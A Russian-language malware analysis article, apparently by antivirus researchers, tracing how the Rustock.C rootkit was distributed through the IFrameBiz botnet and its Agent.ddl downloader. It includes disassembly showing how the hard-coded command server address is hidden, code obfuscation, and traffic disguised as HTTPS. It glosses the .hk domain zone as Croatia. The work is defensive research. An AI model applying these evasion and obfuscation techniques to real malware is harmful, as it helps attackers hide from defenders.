Но в конце концов удача нам улыбнулась. Было обнаружено еще более 500 файлов руткита, и именно они дали нам все недостающие звенья цепи.

Ботнет


Наши выводы о том, что активное распространение Rustock началось 10 сентября 2007 года, полностью подтвердились. Теперь мы знаем в деталях, как, с каких серверов он загружался и как устанавливался в системы. Есть у нас и ответы на вопросы «А где же дроппер?» и «Действительно ли пользователи антивирусных продуктов были беззащитны перед «неуловимым» руткитом, который распространялся минимум три месяца?».

К сожалению, способ и каналы распространения Rustock заставят поволноваться многих экспертов информационной безопасности.Вот названия, хорошо известные любому антивирусному эксперту:
CoolWebSearch / IFrameBiz / Trafficadvance / LoadAdv.

Да, мы в очередной раз столкнулись с одной из самых известных киберпреступных группировок в Интернете, с которой ассоциируются эти названия. Все они относятся к их сайтам и их вредоносным программам. Банда существует как минимум с начала 2004 года и активна в настоящий момент. Самыми известными и получившими широкое распространение творениями группировки были такие троянцы, как Harnig, Tibs, Femad, LoadAdv и различные модификации Trojan-Downloader.Agent и Small, а также троянец Inject.

Эти умельцы всегда оказывались в авангарде всех вирусных новшеств: в свое время именно они первыми стали массово использовать троянские загрузчики в chm-файлах, именно на их серверах были обнаружены первые варианты эксплоитов уязвимостей в обработке ANI- и ICO-файлов. Они использовали троянские программы, написанные на Java (Trojan-Downloader.Java.ClassLoader), и они же задали моду на использование скриптовых загрузчиков.

«Фирменным» признаком группировки IFrameBiz долгое время были домены в зоне .biz и имена файлов вида loadadv*.exe.

Следы этой группы ведут в Россию. Большинство ее членов, несомненно, проживает именно здесь. На ранних стадиях своего существования группа активно использовала хостинг-ресурсы в Санкт-Петербурге. Также было отмечено ее взаимодействие с печально известной сетью RBN (Russia Business Network), которую многие эксперты также связывают с этим городом.

За 4 года существования группа создала одну из мощнейших систем распространения вредоносных программ. Ее ботнет, основанный на миллионах зараженных различными загрузчиками (в первую очередь Tibs и Femad) компьютеров, способен загрузить на инфицированные машины любую новую вредоносную программу в течение короткого периода времени. Именно такой способ сейчас является эффективной альтернативой рассылкам вредоносного кода по электронной почте, с которыми антивирусная индустрия давно научилась бороться.

Ботнет IFrameBiz активно используется как плацдарм для распространения новых вредоносных программ. Заказчик оплачивает период времени, в течение которого его троянская программа будет распространяться при помощи ботнета. После чего и начинается ее «заливка». Зачастую один и тот же загрузчик (например, Tibs) устанавливает сразу несколько троянцев от разных заказчиков. Услуга пользуется спросом, и даже такое одновременное выполнение нескольких заказов у клиентов не вызывает протеста.

К услугам IFrameBiz прибегали и прибегают как создатели множества Adware-программ, так и желающие создать свой собственный ботнет, спамеры, организаторы DDoS-атак и так далее. Если проводить параллели все с той же RBN, то можно сказать, что RBN — это аппаратная и техническая часть бизнеса вирусописателей, а IFrameBiz — программная начинка и пусковая кнопка для великого множества современных вредоносных программ.

Именно к IFrameBiz и обратились летом 2007 года авторы руткита Rustock с заказом на его распространение. Однако либо троянцы IframeBiz были неспособны незаметно активировать Rustock в системах, либо авторы руткита не хотели давать в руки исполнителей заказа сам код руткита, опасаясь кражи идей и технологий. Для «заливки» по каналам IFrameBiz был создан совершенно отдельный модуль!

Реконструкция событий


Рассмотрим на конкретном примере, что и как происходило в конце сентября 2007 года на одном из зараженных компьютеров, входящих в ботнет IFrameBiz.

Установленный в систему загрузчик (вероятно Tibs) обращается к одному из серверов ботнета в зоне .hk (Хорватия — домены в этой зоне стали использоваться группой в 2007 году) и пытается загрузить файл loadadv351.exe.

Данный файл является усовершенствованным модулем все того же ботнета. По классификации «Лаборатории Касперского», это Trojan.Win32.Inject.mt. Название отражает суть действий вредоносной программы — она внедряет («инжектирует») себя в процесс Explorer.exe, обходя таким образом многие сетевые экраны, и получает возможность для бесконтрольной загрузки файлов в систему.

Троянец отсылает на серверы IFrameBiz информацию об успешной установке и получает приказы — какие файлы и откуда ему следует загружать. Так работает своеобразная система статистики ботнета, позволяющая его владельцам вести учет успешных загрузок вредоносных программ и предоставлять заказчикам отчеты.

Троянец загружает в систему несколько файлов с разных серверов — либо принадлежащих заказчикам, либо с используемых ими ресурсов на серверах IFrameBiz. В рассматриваемом случае файлы загружаются с ресурсов клиентов, арендованных ими у IFrameBiz (http:// *.biz/progs/*). Одновременно производится сбор и отправка данных о зараженном компьютере — операционной системе, жестком диске и прочее. Эти данные нужны для учета состояния бот-сети, ее географического распределения и так далее.

Итак, в системе появляются еще несколько файлов, из которых нас интересуют два — назовем их «1.exe» и «2.exe». Сейчас наше внимание будет направленно на 1.exe (к файлу 2.exe мы вернемся позже).

Это еще один загрузчик, однако весьма необычный. Первый его образец был обнаружен «Лабораторией Касперского» 10 сентября 2007 года — в тот же день, когда появились первые варианты Rustock. Это совпадение уже не кажется удивительным, не правда ли? С того же дня этот загрузчик детектировался нами как Trojan-Downloader.Win32.Agent.ddl.

Эта вредоносная программа содержит в себе драйвер, который загружается в ядро операционной системы (фактически мы уже имеем дело с руткитом!). Код драйвера зашифрован с использованием сложного алгоритма шифрования, очень напоминающего алгоритм, использованный при шифровании Rustock.

Снятие всех слоев защиты с драйвера приводит нас к самому интересному: это программа-загрузчик Rustock, не менее «мифическая», чем сам руткит.



Недостающее звено


Если про руткит слухи ходили еще с декабря 2006 года, то первое и единственное упоминание о загрузчике и самом факте его существования относится к концу октября 2007 года - спустя почти два месяца после того, как он был обнаружен и добавлен в наши антивирусные базы. Стоит ли говорить о том, что по причине «неуловимости» к тому моменту самого Rustock.C никто и не задумывался о существовании его программы-загрузчика.

Однако даже после детектирования Rustock.С, когда следовало найти его «дроппер», некоторые антивирусные компании остановились на достигнутом, ограничившись детектированием руткита. Они не стали тратить время на выяснение того, как руткит попадал на компьютеры и действительно ли пользователи были беззащитны перед «неуловимым руткитом».

Наше исследование дало нам ответ на эти два вопроса. Начиная с 10 сентября 2007 года, с первого же дня распространения через ботнет IFrameBiz руткита Rustock.С, «Антивирус Касперского» детектировал его «разносчика» - Trojan-Downloader.Win32.Agent.ddl. Позже детектирование этого троянца появилось еще у целого ряда антивирусных компаний.

В течение нескольких месяцев уберечь машины пользователей от заражения «неуловимым» руткитом могло только своевременное детектирование его загрузчика.

К сожалению, даже в настоящие время (начало июня 2008 года) некоторые антивирусные продукты по-прежнему не ловят Agent.ddl.

Загрузчик


Как было отмечено выше, троянец состоит из двух компонентов – основного тела и драйвера. Драйвер собирает информацию о системе: идентификаторы производителя и модель устройств на материнской плате, дату установки и точную версию операционной системы. Затем эта информация зашифровывается и пересылается на сервер автора (или заказчиков) Rustock: 208.66.194.215.

Содержимое буфера, передаваемого на сервер в зашифрованном (TEA) виде:

TSC, Bridge0, Bridge1, InstallDate, Version, ProductID.

Сервер, на который идет отправка данных (208.66.194.215), тот же, который мы уже видели в DLL (спам-боте) руткита — именно оттуда Rustock получает письма для рассылки. Однако метод взаимодействия драйвера загрузчика с сервером отличается от метода, использованного в спам-боте.

Драйвер Agent.ddl работает с виртуальным устройством TCP/IP напрямую из нулевого кольца, в результате чего исходящий с машины трафик при активном заражении невозможно обнаружить с помощью некоторых снифферов/межсетевых экранов. Agent.ddl устанавливает соединение на 443-й порт, пытаясь замаскировать данные под пакеты протокола HTTPS. В результате исследователь, даже перехватив трафик на шлюзе, не сразу поймет, что это никакой не HTTPS, а просто зашифрованные данные, собранные на зараженном компьютере.

Вот пример пакета с зараженной машины, который выдавался за HTTPS данные:

При этом ключ шифрования изменяется при каждом новом запуске драйвера. Сложность обнаружения достигается тем, что внешний наблюдатель не знает алгоритма и ключа шифрования.

Следует отметить что авторы троянца-загрузчика явно старались максимально усложнить жизнь исследователям кода драйвера.

IP-адрес центрального сервера, как и порт, по которому будет обращаться драйвер, зашиты в тело программы, так чтобы скрыть их явное представление:

push 00000BB01 ; порт — 443

push 0E00C04E1
sub d,[esp],00849C211; Разность равна 0xD7C242D0, т.е. IP-адресу 208.66.194.215


Авторы поработали и над обфускацией кода. Например, простая операция

mov [eax], ecx

после обфускации выглядит так:

push ebx
mov ebx, 0x03451b8c
sub ebx,eax
sub ebx, 0x03451b8c
neg ebx
mov [ebx], ecx
pop ebx


Одна инструкция заменялась на семь. Можно вообразить, что из себя представляют остальные «внутренности» драйвера!

Вернемся к сетевой коммуникации. Итак, вредоносный код отправлял пакет с данными о зараженном компьютере. В ответ на эти данные сервер предположительно отвечал файлом, специально зашифрованным для данной машины — с ключем, соответствующим оборудованию обратившегося компьютера.

Таким образом авторы решают проблему дроппера, который мог бы быть обнаружен, изучен, запущен и при наличии которого исследователям нет необходимости подбирать ключ шифрования для анализа кода руткита.

Сгенерированный файл руткита, «чистое тело», загружается на компьютер-жертву, где Agent.ddl производит его активацию в системе. Rustock.C заражает свой первый системный драйвер, и еще одним компьютером в новом спам-ботнете становится больше.

В настоящее время сервер заблокирован. Все пакеты, идущие к нему, фильтруются сетевыми маршрутизаторами. Должно быть, компетентные органы уже заинтересовались упомянутым IP-адресом.

Заключение


Реконструкция событий, выполненная нашими экспертами, доказывает факт активного распространения данного руткита в сентябре-ноябре 2007 года. С одной стороны, использованная для этого сеть IFrameBiz могла обеспечить ему действительно широкое распространение. С другой стороны, приведенные факты показывают, что «неуловимость» руткита была вызвана исключительно высоким уровнем шифрования его кода и использованием множества антиотладочных приемов, затруднявших его анализ для большинства экспертов.

Руткит был у антивирусных компаний со дня его появления «в дикой природе». Его активность при установке в систему и компоненты, отвечавшие за его установку и распространение, столь же давно и успешно обнаруживались почти всеми антивирусными продуктами, за редким исключением. Его появление в системе могло быть перехвачено на самой ранней стадии при помощи несложных средств мониторинга изменений файловой системы.

Все это происходило с Rustock десятки раз, но детальный анализ его кода был сделан только в мае 2008 года.

Rustock.С действительно существует, и это не миф. А вот его «неуловимость» – миф, основанный не на каких-то реализованных в рутките сверхъестественных принципах сокрытия себя в системе, а все на тех же слухах, появившихся еще в конце 2006 года и играющих на руку только авторам вредоносной программы.

Любой руткит, создаваемый с учетом существующих средств детектирования, будет обходить защиту, которую эти средства обеспечивают. Война на уровне ядра операционной системы в конечном итоге сводится к решению одного вопроса: кто раньше получит управление — руткит или антируткит.

Целью автора Rustock было не создание недетектируемого в принципе руткита, а максимальное усложнение процесса анализа руткита после того, как он будет обнаружен. Именно это могло обеспечить некий временной выигрыш между периодом распространения и началом детектирования вредоносной программы.

Остается неясным только один вопрос: почему автор Rustock прекратил в середине октября 2007 года совершенствование руткита и выпуск его новых версий? Не означает ли это, что он занялся созданием нового проекта, и, возможно, где-то уже существует «Rustock.D»?

Ответа у нас нет. Как бы то ни было, сам факт существования одной единственной вредоносной программы, даже остававшейся не детектируемой в течение нескольких месяцев, нисколько не влияет на появление каждый день тысяч других вредоносных программ, успешно уничтожаемых антивирусной индустрией.

До тех пор, пока в Интернете продолжают существовать IframeBiz и аналогичные ей группы, ответственные за ежедневное распространение сотен новых вредоносных программ, за многочисленные взломы веб-сайтов и десятки эпидемий, праздновать успех в одной локальной победе никак нельзя.

P.S. Выше мы писали о том, что Trojan.Win32.Inject.mt устанавливал в систему два файла — 1.exe и 2.exe. Мы не рассказали о том, чем же был второй файл.

Он был очередным вариантом троянца-шпиона Sinowal. Тем самым Sinowal, который спустя пару месяцев после описываемых событий стал еще одной головной болью для антивирусных компаний и вошел в историю как «буткит».

И Rustock, и Sinowal распространялись одновременно и через один и тот же ботнет. Новые версии Rustock перестали появляться в середине октября 2007 года. Первые образцы «буткита» были обнаружены спустя месяц — в ноябре 2007 года.

Просто совпадение?

Возможно, мы когда-нибудь узнаем ответ и на этот вопрос.